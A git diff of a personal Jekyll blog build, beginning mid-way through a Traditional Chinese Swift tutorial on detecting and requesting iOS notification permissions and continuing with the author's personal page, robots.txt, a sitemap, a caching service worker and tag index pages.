func checkNotificationPermissionStatus() {
+    if #available(iOS 10.0, *) {
+        UNUserNotificationCenter.current().getNotificationSettings { (settings) in
+            DispatchQueue.main.async {
+                //注意!要切回主執行緒
+                if settings.authorizationStatus == .authorized {
+                    //允許
+                    notificationStatus.value = NotificationStatusType.authorized
+                } else if settings.authorizationStatus == .denied {
+                    //不允許
+                    notificationStatus.value = NotificationStatusType.denied
+                } else {
+                    //沒問過
+                    notificationStatus.value = NotificationStatusType.notDetermined
+                }
+            }
+        }
+    } else {
+        if UIApplication.shared.currentUserNotificationSettings?.types == []  {
+            if let iOS9NotificationIsDetermined = UserDefaults.standard.object(forKey: "iOS9NotificationIsDetermined") as? Bool,iOS9NotificationIsDetermined == true {
+                //沒問過
+                notificationStatus.value = NotificationStatusType.notDetermined
+            } else {
+                //不允許
+                notificationStatus.value = NotificationStatusType.denied
+            }
+        } else {
+            //允許
+            notificationStatus.value = NotificationStatusType.authorized
+        }
+    }
+}
+

以上還沒結束! 眼尖的朋友應該在≤ iOS 9的判斷之中發現”iOS9NotificationIsDetermined”這個自訂的UserDefaults,那它是用來幹嘛的呢?

主因是≤iOS 9的檢測推播權限方法只能用獲取目前的權限有哪些作為判斷,若為空則代表無權限,但在沒詢問過權限的情況下也是會是空白;這時候麻煩就來了,使用者究竟是沒問過還是問過按不允許?

這邊我使用了一個自訂的UserDefaults iOS9NotificationIsDetermined作為判斷開關,並在appDelegate的didRegisterUserNotificationSettings中加入:

1
+2
+3
+4
+5
+6
+
//appdelegate.swift:
+func application(_ application: UIApplication, didRegister notificationSettings: UIUserNotificationSettings) {
+    //iOS 9(含)以下,跳出詢問要不要允許通知的視窗後,按下允許或不允許都會觸發這個方法
+    UserDefaults.standard.set("iOS9NotificationIsDetermined", true)
+    checkNotificationPermissionStatus()
+}
+

通知權限狀態的物件、檢測的方法都構建好後,appDelegate裡我們還要再加上…

1
+2
+3
+4
+5
+6
+7
+8
+
//appdelegate.swift
+func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {  
+  checkNotificationPermissionStatus()
+  return true
+}
+func applicationDidBecomeActive(_ application: UIApplication) {
+  checkNotificationPermissionStatus()
+}
+

APP初始跟從背景返回都要再檢測一次推播狀態如何

以上就是檢測的部分,再來我們來看如果是未詢問該怎麼處理要求通知權限

3. 要求通知權限:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
func requestNotificationPermission() {
+    if #available(iOS 10.0, *) {
+        let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound]
+        UNUserNotificationCenter.current().requestAuthorization(options: permissiones) { (granted, error) in
+            DispatchQueue.main.async {
+                checkNotificationPermissionStatus()
+            }
+        }
+    } else {
+        application.registerUserNotificationSettings(UIUserNotificationSettings(types: [.alert, .badge, .sound], categories: nil))
+        //前面appdelegate.swift的didRegisterUserNotificationSettings會處理後續callback
+    }
+}
+

檢測跟要求都處理完囉,我們來看看如何應用

4. 應用(靜態)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+
if notificationStatus.value == NotificationStatusType.authorized {
+    //OK!
+} else if notificationStatus.value == NotificationStatusType.denied {
+    //不允許
+    //這邊範例是跳出UIAlertController提示並點擊後可跳轉至設定頁面
+    let alertController = UIAlertController(
+        title: "親愛的,您目前無法接收通知",
+        message: "請開啟結婚吧通知權限。",
+        preferredStyle: .alert)
+    let settingAction = UIAlertAction(
+        title: "前往設定",
+        style: .destructive,
+        handler: {
+            (action: UIAlertAction!) -> Void in
+            if let bundleID = Bundle.main.bundleIdentifier,let url = URL(string:UIApplicationOpenSettingsURLString + bundleID) {
+                UIApplication.shared.openURL(url)
+            }
+    })
+    let okAction = UIAlertAction(
+        title: "取消",
+        style: .default,
+        handler: {
+            (action: UIAlertAction!) -> Void in
+            //well....
+    })
+    alertController.addAction(okAction)
+    alertController.addAction(settingAction)
+    self.present(alertController, animated: true) {
+        
+    }
+} else if notificationStatus.value == NotificationStatusType.notDetermined {
+    //未詢問
+    requestNotificationPermission()
+}
+

請注意!!跳到APP的「設定」頁時請勿使用

UIApplication.shared.openURL(URL(string:”App-Prefs:root=\ (bundleID)”) )

方式跳轉, 會被退審! 會被退審! 會被退審! (親身經歷)

這是Private API

5. 應用(動態)

動態變更狀態的部分,因為notificationStatus物件我們使用是Observable,我們可以在要時時監測狀態的viewDidLoad中加入監聽處理:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
override func viewDidLoad() {
+   super.viewDidLoad()
+   notificationStatus.afterChange += { oldStatus,newStatus in
+      if newStatus == NotificationStatusType.authorized {
+       //print("❤️謝謝你打開通知") 
+      } else if newStatus == NotificationStatusType.denied {
+       //print("😭嗚嗚")
+      }
+   }
+}
+

以上只是範例Code,實際應用、觸發可再自行調校

*notificationStatus 使用 Observable 請注意記憶體控制,該釋放時要能釋放(防止記憶體洩漏)、不該釋放時需持有(避免監聽失效)

最後附上完整Demo成品:

[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

結婚吧APP

*由於我們的專案支援範圍是iOS 9 ~ iOS12,iOS 8未進行任何測試不確定支援程度

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

什麼?iOS 12 不需使用者授權就能收到推播通知(Swift)

永遠保持探索新事物的熱忱

diff --git a/posts/index.html b/posts/index.html new file mode 100644 index 000000000..d237606f0 --- /dev/null +++ b/posts/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/real/index.html b/real/index.html new file mode 100644 index 000000000..7e5263172 --- /dev/null +++ b/real/index.html @@ -0,0 +1 @@ + Real Life | ZhgChgLi
Home Real Life
Real Life
Cancel

Real Life

1994, ♋️

From Changhua, Lives in Taipei / Taiwan 🇹🇼

Motto

One day you’ll leave this world behind, so live a life you will remember.

ΛVICII ◢ ◤ - The Nights.

Photography

Saṃghāta

Saṃghāta

Outdoor

2019 tSt Breeze Duathlon 50 KM

Travel, Biking, Running, Swimming, Hiking

  • 2018 Bangkok, Thailand 🇹🇭
  • 2019 Sabah, Malaysia 🇲🇾
  • 2019 Puma Night Run 10 KM
  • 2019 Taroko Gorge Marathon 12KM
  • 2019 tSt Breeze Duathlon 50 KM 🏃‍♂️ 🚴‍♂️
  • 2020 Standard Chartered Taipei Marathon 13 KM
  • ToDo 2022 Taipei Grand Trail
  • ToDo 2022 Free Diving

Writing

Night life, take us to the light

]

Bar, Izakaya

My Bars Map (50+ Bars)

My Favorite TV Series

Breaking Bad

  • Breaking Bad
  • Better Call Saul
  • The Big Bang Theory
  • Rick And Morty
  • Black Mirror
  • Narcos
  • Sherlock
  • Marvel TV Series (DareDevil/Luke Cage/Punisher…)
  • Orange Is the New Black
  • The Last Ship

Music never sleeps

Avicii

My Favorite Music Genres:

  • Tropical House🌴
  • Progressive House
  • Electronic Dance Music
  • POP
  • Country

My Favorite Musician:

  • AVICII
  • Kygo
  • Vicetone
  • Mike Perry
  • G.E.M 鄧紫棋

My Western Music Collection

2021

2020

2019

2018

2017

diff --git a/redirects.json b/redirects.json new file mode 100644 index 000000000..3c190eaa5 --- /dev/null +++ b/redirects.json @@ -0,0 +1 @@ +{"/norobots/":"https://zhgchg.li/404.html","/assets/":"https://zhgchg.li/404.html","/posts/":"https://zhgchg.li/404.html"} \ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100644 index 000000000..b37aa7bd9 --- /dev/null +++ b/robots.txt @@ -0,0 +1,5 @@ +User-agent: * + +Disallow: /norobots/ + +Sitemap: https://zhgchg.li/sitemap.xml diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 000000000..6d2f347d0 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,1000 @@ + + + +https://zhgchg.li/posts/b7a3fb3d5531/ +2023-08-06T01:29:21+08:00 + + +https://zhgchg.li/posts/e37d66ea1146/ +2023-08-06T01:28:19+08:00 + + +https://zhgchg.li/posts/cb6eba52a342/ +2023-08-06T01:27:16+08:00 + + +https://zhgchg.li/posts/9a9aa892f9a9/ +2023-08-06T01:25:03+08:00 + + +https://zhgchg.li/posts/793bf2cdda0f/ +2023-08-06T01:23:37+08:00 + + +https://zhgchg.li/posts/1ca246e27273/ +2023-08-06T01:23:48+08:00 + + +https://zhgchg.li/posts/a4bc3bce7513/ +2023-08-06T01:21:30+08:00 + + +https://zhgchg.li/posts/ade9e745a4bf/ +2023-08-06T01:21:41+08:00 + + +https://zhgchg.li/posts/fd7f92d52baa/ +2023-08-06T01:20:12+08:00 + + +https://zhgchg.li/posts/8d863bcd1c55/ +2023-08-06T01:19:26+08:00 + + +https://zhgchg.li/posts/f644db1bb8bf/ +2023-08-06T01:18:56+08:00 + + +https://zhgchg.li/posts/a2920e33e73e/ +2023-08-06T01:18:33+08:00 + + +https://zhgchg.li/posts/e85d77b05061/ +2023-08-06T01:17:24+08:00 + + +https://zhgchg.li/posts/6012b7b4f612/ +2023-08-06T01:16:59+08:00 + + +https://zhgchg.li/posts/ac557047d206/ +2023-08-06T01:16:35+08:00 + + +https://zhgchg.li/posts/c5e7e580c341/ +2023-08-06T01:16:11+08:00 + + +https://zhgchg.li/posts/33afa0ae557d/ +2023-08-06T01:15:47+08:00 + + +https://zhgchg.li/posts/c3150cdc85dd/ +2023-08-06T01:15:18+08:00 + + +https://zhgchg.li/posts/a66ce3dc8bb9/ +2023-08-06T01:14:46+08:00 + + +https://zhgchg.li/posts/729d7b6817a4/ +2023-08-06T01:14:21+08:00 + + +https://zhgchg.li/posts/46410aaada00/ +2023-08-06T01:13:11+08:00 + + +https://zhgchg.li/posts/4079036c85c2/ +2023-08-06T01:10:08+08:00 + + +https://zhgchg.li/posts/bcff7c157941/ +2023-08-06T01:09:39+08:00 + + +https://zhgchg.li/posts/21119db777dd/ +2023-08-06T01:09:10+08:00 + + +https://zhgchg.li/posts/b08ef940c196/ +2023-08-06T01:08:31+08:00 + + +https://zhgchg.li/posts/14cee137c565/ +2023-08-06T01:08:00+08:00 + + +https://zhgchg.li/posts/94a4020edb82/ +2023-08-06T01:04:02+08:00 + + +https://zhgchg.li/posts/d01252331b53/ +2023-08-06T01:03:34+08:00 + + +https://zhgchg.li/posts/a8c2d7ed144b/ +2023-08-06T01:03:11+08:00 + + +https://zhgchg.li/posts/7498e1ff93ce/ +2023-08-06T01:02:37+08:00 + + +https://zhgchg.li/posts/d796bf8e661e/ +2023-08-06T01:01:46+08:00 + + +https://zhgchg.li/posts/99db2a1fbfe5/ +2023-08-06T01:00:40+08:00 + + +https://zhgchg.li/posts/2e4429f410d6/ +2023-08-06T00:58:08+08:00 + + +https://zhgchg.li/posts/1aa2f8445642/ +2023-08-06T00:55:41+08:00 + + +https://zhgchg.li/posts/724a7fb9a364/ +2023-08-06T00:55:11+08:00 + + +https://zhgchg.li/posts/cb00b1977537/ +2023-08-06T00:54:01+08:00 + + +https://zhgchg.li/posts/8a04443024e2/ +2023-08-06T00:53:29+08:00 + + +https://zhgchg.li/posts/41c49a75a743/ +2023-08-06T00:52:45+08:00 + + +https://zhgchg.li/posts/eab0e984043/ +2023-08-06T00:51:33+08:00 + + +https://zhgchg.li/posts/c0f99f987d9c/ +2023-08-06T00:50:53+08:00 + + +https://zhgchg.li/posts/c4d7c2ce5a8d/ +2023-08-06T00:49:25+08:00 + + +https://zhgchg.li/posts/ee47f8f1e2d2/ +2023-08-06T00:48:56+08:00 + + +https://zhgchg.li/posts/6ce488898003/ +2023-08-06T00:48:31+08:00 + + +https://zhgchg.li/posts/948ed34efa09/ +2023-08-06T00:47:56+08:00 + + +https://zhgchg.li/posts/12c5026da33d/ +2023-08-06T00:47:18+08:00 + + +https://zhgchg.li/posts/87090f101b9a/ +2023-08-06T00:46:52+08:00 + + +https://zhgchg.li/posts/70a1409b149a/ +2023-08-06T00:46:23+08:00 + + +https://zhgchg.li/posts/142244e5f07a/ +2023-08-06T00:45:45+08:00 + + +https://zhgchg.li/posts/d9a95d4224ea/ +2023-08-06T00:45:13+08:00 + + +https://zhgchg.li/posts/5ea3311119d8/ +2023-08-06T00:43:39+08:00 + + +https://zhgchg.li/posts/99a6cef90190/ +2023-08-06T00:43:11+08:00 + + +https://zhgchg.li/posts/9659db1357e4/ +2023-08-06T00:42:39+08:00 + + +https://zhgchg.li/posts/cb0c68c33994/ +2023-08-06T00:41:49+08:00 + + +https://zhgchg.li/posts/33f6aabb744f/ +2023-08-06T00:41:07+08:00 + + +https://zhgchg.li/posts/d61062833c1a/ +2023-08-06T00:40:22+08:00 + + +https://zhgchg.li/posts/ba5773a7bfea/ +2023-08-06T00:39:33+08:00 + + +https://zhgchg.li/posts/1c9eafd4a190/ +2023-08-06T00:39:08+08:00 + + +https://zhgchg.li/posts/118e924a1477/ +2023-08-06T00:38:31+08:00 + + +https://zhgchg.li/posts/d414bdbdb8c9/ +2023-08-06T00:37:53+08:00 + + +https://zhgchg.li/posts/11f6c8568154/ +2023-08-29T16:44:13+08:00 + + +https://zhgchg.li/posts/e77b80cc6f89/ +2023-08-06T00:36:47+08:00 + + +https://zhgchg.li/posts/9a05f632eba0/ +2023-08-06T00:36:16+08:00 + + +https://zhgchg.li/posts/793cb8f89b72/ +2023-10-01T22:10:59+08:00 + + +https://zhgchg.li/posts/78507a8de6a5/ +2023-08-29T16:43:43+08:00 + + +https://zhgchg.li/posts/ddd88a84e177/ +2023-08-06T00:34:05+08:00 + + +https://zhgchg.li/posts/a8c2d26cc734/ +2023-08-06T00:33:31+08:00 + + +https://zhgchg.li/posts/60473cb47550/ +2023-08-06T00:32:32+08:00 + + +https://zhgchg.li/posts/48a8526c1300/ +2023-08-06T00:31:59+08:00 + + +https://zhgchg.li/posts/a0c08d579ab1/ +2023-08-06T00:30:56+08:00 + + +https://zhgchg.li/posts/f1365e51902c/ +2023-08-06T00:29:31+08:00 + + +https://zhgchg.li/posts/e36e48bb9265/ +2023-08-06T00:28:23+08:00 + + +https://zhgchg.li/posts/4b9d09cea5f0/ +2023-08-06T00:17:01+08:00 + + +https://zhgchg.li/posts/declaration_for_google_search_result/ +2023-01-09T08:00:00+08:00 + + +https://zhgchg.li/posts/a5643de271e4/ +2023-08-06T00:16:21+08:00 + + +https://zhgchg.li/posts/2724f02f6e7_en/ +2023-03-13T20:10:15+08:00 + + +https://zhgchg.li/posts/2724f02f6e7/ +2023-08-06T00:15:39+08:00 + + +https://zhgchg.li/posts/e7c547a5be22/ +2023-08-06T00:14:18+08:00 + + +https://zhgchg.li/posts/76d66c2e34af/ +2024-01-10T16:40:34+08:00 + + +https://zhgchg.li/posts/9da2c51fa4f2/ +2024-01-10T16:40:08+08:00 + + +https://zhgchg.li/posts/382218e15697_en/ +2023-08-01T22:32:14+08:00 + + +https://zhgchg.li/posts/382218e15697/ +2023-08-06T00:02:30+08:00 + + +https://zhgchg.li/posts/5a5c4b25a83d/ +2023-09-04T22:32:47+08:00 + + +https://zhgchg.li/posts/7b8a0563c157/ +2024-01-10T16:39:36+08:00 + + +https://zhgchg.li/posts/d78e0b15a08a/ +2024-01-10T16:39:13+08:00 + + +https://zhgchg.li/posts/31b9b3a63abc/ +2024-01-10T16:38:15+08:00 + + +https://zhgchg.li/categories/ +2024-01-10T16:58:07+08:00 + + +https://zhgchg.li/tags/ +2024-01-10T16:58:07+08:00 + + +https://zhgchg.li/archives/ +2024-01-10T16:58:07+08:00 + + +https://zhgchg.li/about/ +2024-01-10T16:58:07+08:00 + + +https://zhgchg.li/real/ +2024-01-10T16:58:07+08:00 + + +https://zhgchg.li/contact/ +2024-01-10T16:58:07+08:00 + + +https://zhgchg.li/ + + +https://zhgchg.li/tags/blog/ + + +https://zhgchg.li/tags/blogger/ + + +https://zhgchg.li/tags/developer/ + + +https://zhgchg.li/tags/%E7%94%9F%E6%B4%BB/ + + +https://zhgchg.li/tags/medium/ + + +https://zhgchg.li/tags/swift/ + + +https://zhgchg.li/tags/ios/ + + +https://zhgchg.li/tags/mobile-app-development/ + + +https://zhgchg.li/tags/uitextview/ + + +https://zhgchg.li/tags/ios-app-development/ + + +https://zhgchg.li/tags/push-notification/ + + +https://zhgchg.li/tags/notificationservice/ + + +https://zhgchg.li/tags/machine-learning/ + + +https://zhgchg.li/tags/facedetection/ + + +https://zhgchg.li/tags/natural-language-process/ + + +https://zhgchg.li/tags/3d-touch/ + + +https://zhgchg.li/tags/iphone/ + + +https://zhgchg.li/tags/iplayground/ + + +https://zhgchg.li/tags/uuid/ + + +https://zhgchg.li/tags/idfv/ + + +https://zhgchg.li/tags/ios12/ + + +https://zhgchg.li/tags/observables/ + + +https://zhgchg.li/tags/back-end-development/ + + +https://zhgchg.li/tags/life-lessons/ + + +https://zhgchg.li/tags/ios-12/ + + +https://zhgchg.li/tags/apple-watch/ + + +https://zhgchg.li/tags/watchos/ + + +https://zhgchg.li/tags/apple-watch-apps/ + + +https://zhgchg.li/tags/%E9%96%8B%E7%AE%B1/ + + +https://zhgchg.li/tags/watchkit/ + + +https://zhgchg.li/tags/uikit/ + + +https://zhgchg.li/tags/autolayout/ + + +https://zhgchg.li/tags/%E9%A1%A7%E5%B0%8F%E4%BA%8B%E6%88%90%E5%A4%A7%E4%BA%8B/ + + +https://zhgchg.li/tags/whoscall/ + + +https://zhgchg.li/tags/ios-apps/ + + +https://zhgchg.li/tags/ios-11/ + + +https://zhgchg.li/tags/airpods/ + + +https://zhgchg.li/tags/3c/ + + +https://zhgchg.li/tags/airpods2/ + + +https://zhgchg.li/tags/%E7%B1%B3%E5%AE%B6/ + + +https://zhgchg.li/tags/homekit/ + + +https://zhgchg.li/tags/catalyst/ + + +https://zhgchg.li/tags/capture-the-flag/ + + +https://zhgchg.li/tags/php/ + + +https://zhgchg.li/tags/computer-science/ + + +https://zhgchg.li/tags/wargame/ + + +https://zhgchg.li/tags/mitmproxy/ + + +https://zhgchg.li/tags/man-in-the-middle/ + + +https://zhgchg.li/tags/hacking/ + + +https://zhgchg.li/tags/iplayground2019/ + + +https://zhgchg.li/tags/taiwan-ios-conference/ + + +https://zhgchg.li/tags/%E5%B0%8F%E7%B1%B3/ + + +https://zhgchg.li/tags/%E5%AE%B6%E9%9B%BB/ + + +https://zhgchg.li/tags/ios-13/ + + +https://zhgchg.li/tags/siri/ + + +https://zhgchg.li/tags/siri-shortcut/ + + +https://zhgchg.li/tags/deeplink/ + + +https://zhgchg.li/tags/universal-links/ + + +https://zhgchg.li/tags/app-store/ + + +https://zhgchg.li/tags/uiviewcontroller/ + + +https://zhgchg.li/tags/%E5%B0%8F%E7%B1%B3%E7%A9%BA%E6%B0%A3%E6%B8%85%E6%B7%A8%E6%A9%9F/ + + +https://zhgchg.li/tags/life/ + + +https://zhgchg.li/tags/writing-life/ + + +https://zhgchg.li/tags/medium-taiwan/ + + +https://zhgchg.li/tags/jailbreak/ + + +https://zhgchg.li/tags/security/ + + +https://zhgchg.li/tags/hls/ + + +https://zhgchg.li/tags/cache/ + + +https://zhgchg.li/tags/reverse-proxy/ + + +https://zhgchg.li/tags/homebridge/ + + +https://zhgchg.li/tags/imovie/ + + +https://zhgchg.li/tags/chroma-key/ + + +https://zhgchg.li/tags/wallpaper/ + + +https://zhgchg.li/tags/codable/ + + +https://zhgchg.li/tags/json/ + + +https://zhgchg.li/tags/decode/ + + +https://zhgchg.li/tags/google/ + + +https://zhgchg.li/tags/google-sites/ + + +https://zhgchg.li/tags/web-development/ + + +https://zhgchg.li/tags/domain-names/ + + +https://zhgchg.li/tags/core-data/ + + +https://zhgchg.li/tags/ios-14/ + + +https://zhgchg.li/tags/shell-script/ + + +https://zhgchg.li/tags/xcode/ + + +https://zhgchg.li/tags/toolkit/ + + +https://zhgchg.li/tags/apple/ + + +https://zhgchg.li/tags/apple-watch-series-6/ + + +https://zhgchg.li/tags/%E7%B1%B3%E8%98%AD%E9%8C%B6%E5%B8%B6/ + + +https://zhgchg.li/tags/software-engineering/ + + +https://zhgchg.li/tags/version-control/ + + +https://zhgchg.li/tags/software-development/ + + +https://zhgchg.li/tags/avplayer/ + + +https://zhgchg.li/tags/music-player/ + + +https://zhgchg.li/tags/music-player-app/ + + +https://zhgchg.li/tags/password-security/ + + +https://zhgchg.li/tags/web-credential/ + + +https://zhgchg.li/tags/sign-in-with-apple/ + + +https://zhgchg.li/tags/laravel/ + + +https://zhgchg.li/tags/vagrant/ + + +https://zhgchg.li/tags/virtualbox/ + + +https://zhgchg.li/tags/google-cloud-platform/ + + +https://zhgchg.li/tags/cloud-functions/ + + +https://zhgchg.li/tags/cloud-scheduler/ + + +https://zhgchg.li/tags/python/ + + +https://zhgchg.li/tags/hacker/ + + +https://zhgchg.li/tags/web-security/ + + +https://zhgchg.li/tags/website-security-test/ + + +https://zhgchg.li/tags/domain-authority/ + + +https://zhgchg.li/tags/domain-registration/ + + +https://zhgchg.li/tags/%EF%BD%8Dedium/ + + +https://zhgchg.li/tags/taiwan/ + + +https://zhgchg.li/tags/security-token/ + + +https://zhgchg.li/tags/firebase/ + + +https://zhgchg.li/tags/notifications/ + + +https://zhgchg.li/tags/slackbot/ + + +https://zhgchg.li/tags/ruby/ + + +https://zhgchg.li/tags/fastlane/ + + +https://zhgchg.li/tags/automator/ + + +https://zhgchg.li/tags/slack/ + + +https://zhgchg.li/tags/app-review/ + + +https://zhgchg.li/tags/automation/ + + +https://zhgchg.li/tags/google-sheets/ + + +https://zhgchg.li/tags/app-script/ + + +https://zhgchg.li/tags/design-patterns/ + + +https://zhgchg.li/tags/visitor-pattern/ + + +https://zhgchg.li/tags/double-dispatch/ + + +https://zhgchg.li/tags/management/ + + +https://zhgchg.li/tags/leadership/ + + +https://zhgchg.li/tags/engineering/ + + +https://zhgchg.li/tags/%E7%AE%A1%E7%90%86%E5%AD%B8/ + + +https://zhgchg.li/tags/%E5%B7%A5%E7%A8%8B%E5%B8%AB/ + + +https://zhgchg.li/tags/sidekick/ + + +https://zhgchg.li/tags/chrome/ + + +https://zhgchg.li/tags/chromium/ + + +https://zhgchg.li/tags/browsers/ + + +https://zhgchg.li/tags/google-apps-script/ + + +https://zhgchg.li/tags/cicd/ + + +https://zhgchg.li/tags/workflow-automation/ + + +https://zhgchg.li/tags/pinkoi/ + + +https://zhgchg.li/tags/engineering-mangement/ + + +https://zhgchg.li/tags/workflow/ + + +https://zhgchg.li/tags/crashlytics/ + + +https://zhgchg.li/tags/bigquery/ + + +https://zhgchg.li/tags/privacy/ + + +https://zhgchg.li/tags/private-relay/ + + +https://zhgchg.li/tags/apple-privacy/ + + +https://zhgchg.li/tags/mopcon/ + + +https://zhgchg.li/tags/google-analytics/ + + +https://zhgchg.li/tags/socketio/ + + +https://zhgchg.li/tags/websocket/ + + +https://zhgchg.li/tags/finite-state-machine/ + + +https://zhgchg.li/tags/markdown/ + + +https://zhgchg.li/tags/backup/ + + +https://zhgchg.li/tags/nsattributedstring/ + + +https://zhgchg.li/tags/html-parsing/ + + +https://zhgchg.li/tags/html/ + + +https://zhgchg.li/tags/uitableview/ + + +https://zhgchg.li/tags/refactoring/ + + +https://zhgchg.li/tags/localization/ + + +https://zhgchg.li/tags/unit-testing/ + + +https://zhgchg.li/tags/jekyll/ + + +https://zhgchg.li/tags/github-actions/ + + +https://zhgchg.li/tags/self-hosted/ + + +https://zhgchg.li/tags/app-store-connect/ + + +https://zhgchg.li/tags/api/ + + +https://zhgchg.li/tags/integration/ + + +https://zhgchg.li/tags/google-play/ + + +https://zhgchg.li/tags/open-house/ + + +https://zhgchg.li/tags/tech-career/ + + +https://zhgchg.li/tags/career-advice/ + + +https://zhgchg.li/tags/html-parser/ + + +https://zhgchg.li/tags/rendering/ + + +https://zhgchg.li/tags/post/ + + +https://zhgchg.li/tags/medium-backup/ + + +https://zhgchg.li/tags/japan/ + + +https://zhgchg.li/tags/kyoto/ + + +https://zhgchg.li/tags/osaka/ + + +https://zhgchg.li/tags/traveling/ + + +https://zhgchg.li/tags/tokyto/ + + +https://zhgchg.li/tags/tokyo-disneysea/ + + +https://zhgchg.li/tags/google-app-script/ + + +https://zhgchg.li/tags/github/ + + +https://zhgchg.li/tags/stars/ + + +https://zhgchg.li/tags/end-to-end-testing/ + + +https://zhgchg.li/tags/ui-testing/ + + +https://zhgchg.li/tags/automation-testing/ + + +https://zhgchg.li/tags/nagoya/ + + +https://zhgchg.li/tags/peach/ + + +https://zhgchg.li/tags/kyushu/ + + +https://zhgchg.li/tags/fukuoka/ + + +https://zhgchg.li/tags/kumamoto/ + + +https://zhgchg.li/tags/travel/ + + +https://zhgchg.li/tags/hiroshima/ + + +https://zhgchg.li/tags/okayama/ + + +https://zhgchg.li/categories/zrealm/ + + +https://zhgchg.li/categories/life/ + + +https://zhgchg.li/categories/dev/ + + +https://zhgchg.li/categories/%E8%8F%9C%E9%B3%A5%E5%AD%B8%E7%AE%A1%E7%90%86/ + + +https://zhgchg.li/categories/pinkoi/ + + +https://zhgchg.li/categories/engineering/ + + +https://zhgchg.li/categories/z/ + + +https://zhgchg.li/categories/%E5%BA%A6%E6%97%85%E8%A1%8C%E9%81%8A%E8%A8%98/ + + +https://zhgchg.li/page2/ + + +https://zhgchg.li/page3/ + + +https://zhgchg.li/page4/ + + +https://zhgchg.li/page5/ + + +https://zhgchg.li/page6/ + + +https://zhgchg.li/page7/ + + +https://zhgchg.li/page8/ + + +https://zhgchg.li/page9/ + + diff --git a/sw.js b/sw.js new file mode 100644 index 000000000..e73105f66 --- /dev/null +++ b/sw.js @@ -0,0 +1 @@ +self.importScripts('/assets/js/data/swcache.js'); const cacheName = 'chirpy-20240110.165821'; function verifyDomain(url) { for (const domain of allowedDomains) { const regex = RegExp(`^http(s)?:\/\/${domain}\/`); if (regex.test(url)) { return true; } } return false; } function isExcluded(url) { for (const item of denyUrls) { if (url === item) { return true; } } return false; } self.addEventListener('install', event => { event.waitUntil( caches.open(cacheName).then(cache => { return cache.addAll(resource); }) ); }); self.addEventListener('activate', event => { event.waitUntil( caches.keys().then(keyList => { return Promise.all( keyList.map(key => { if (key !== cacheName) { return caches.delete(key); } }) ); }) ); }); self.addEventListener('message', (event) => { if (event.data === 'SKIP_WAITING') { self.skipWaiting(); } }); self.addEventListener('fetch', event => { event.respondWith( caches.match(event.request).then(response => { if (response) { return response; } return fetch(event.request).then(response => { const url = event.request.url; if (event.request.method !== 'GET' || !verifyDomain(url) || isExcluded(url)) { return response; } /* see: */ let responseToCache = response.clone(); caches.open(cacheName).then(cache => { /* console.log('[sw] Caching new resource: ' + event.request.url); */ cache.put(event.request, responseToCache); }); return response; }); }) ); }); diff --git a/tags/3c/index.html b/tags/3c/index.html new file mode 100644 index 000000000..b1ad89907 --- /dev/null +++ b/tags/3c/index.html @@ -0,0 +1 @@ + 3c | ZhgChgLi
diff --git a/tags/3d-touch/index.html b/tags/3d-touch/index.html new file mode 100644 index 000000000..10aca390b --- /dev/null +++ b/tags/3d-touch/index.html @@ -0,0 +1 @@ + 3d-touch | ZhgChgLi
diff --git a/tags/airpods/index.html b/tags/airpods/index.html new file mode 100644 index 000000000..6f849c87c --- /dev/null +++ b/tags/airpods/index.html @@ -0,0 +1 @@ + airpods | ZhgChgLi
diff --git a/tags/airpods2/index.html b/tags/airpods2/index.html new file mode 100644 index 000000000..8c6e38082 --- /dev/null +++ b/tags/airpods2/index.html @@ -0,0 +1 @@ + airpods2 | ZhgChgLi
diff --git a/tags/api/index.html b/tags/api/index.html new file mode 100644 index 000000000..91631d65b --- /dev/null +++ b/tags/api/index.html @@ -0,0 +1 @@ + api | ZhgChgLi
diff --git a/tags/app-review/index.html b/tags/app-review/index.html new file mode 100644 index 000000000..d674e7bdc --- /dev/null +++ b/tags/app-review/index.html @@ -0,0 +1 @@ + app-review | ZhgChgLi
diff --git a/tags/app-script/index.html b/tags/app-script/index.html new file mode 100644 index 000000000..6e53f641d --- /dev/null +++ b/tags/app-script/index.html @@ -0,0 +1 @@ + app-script | ZhgChgLi
diff --git a/tags/app-store-connect/index.html b/tags/app-store-connect/index.html new file mode 100644 index 000000000..3eb9dad1f --- /dev/null +++ b/tags/app-store-connect/index.html @@ -0,0 +1 @@ + app-store-connect | ZhgChgLi
diff --git a/tags/app-store/index.html b/tags/app-store/index.html new file mode 100644 index 000000000..f95993fd9 --- /dev/null +++ b/tags/app-store/index.html @@ -0,0 +1 @@ + app-store | ZhgChgLi
diff --git a/tags/apple-privacy/index.html b/tags/apple-privacy/index.html new file mode 100644 index 000000000..c3398a989 --- /dev/null +++ b/tags/apple-privacy/index.html @@ -0,0 +1 @@ + apple-privacy | ZhgChgLi
diff --git a/tags/apple-watch-apps/index.html b/tags/apple-watch-apps/index.html new file mode 100644 index 000000000..2fa601a3a --- /dev/null +++ b/tags/apple-watch-apps/index.html @@ -0,0 +1 @@ + apple-watch-apps | ZhgChgLi
diff --git a/tags/apple-watch-series-6/index.html b/tags/apple-watch-series-6/index.html new file mode 100644 index 000000000..1550839b7 --- /dev/null +++ b/tags/apple-watch-series-6/index.html @@ -0,0 +1 @@ + apple-watch-series-6 | ZhgChgLi
diff --git a/tags/apple-watch/index.html b/tags/apple-watch/index.html new file mode 100644 index 000000000..5be863c80 --- /dev/null +++ b/tags/apple-watch/index.html @@ -0,0 +1 @@ + apple-watch | ZhgChgLi
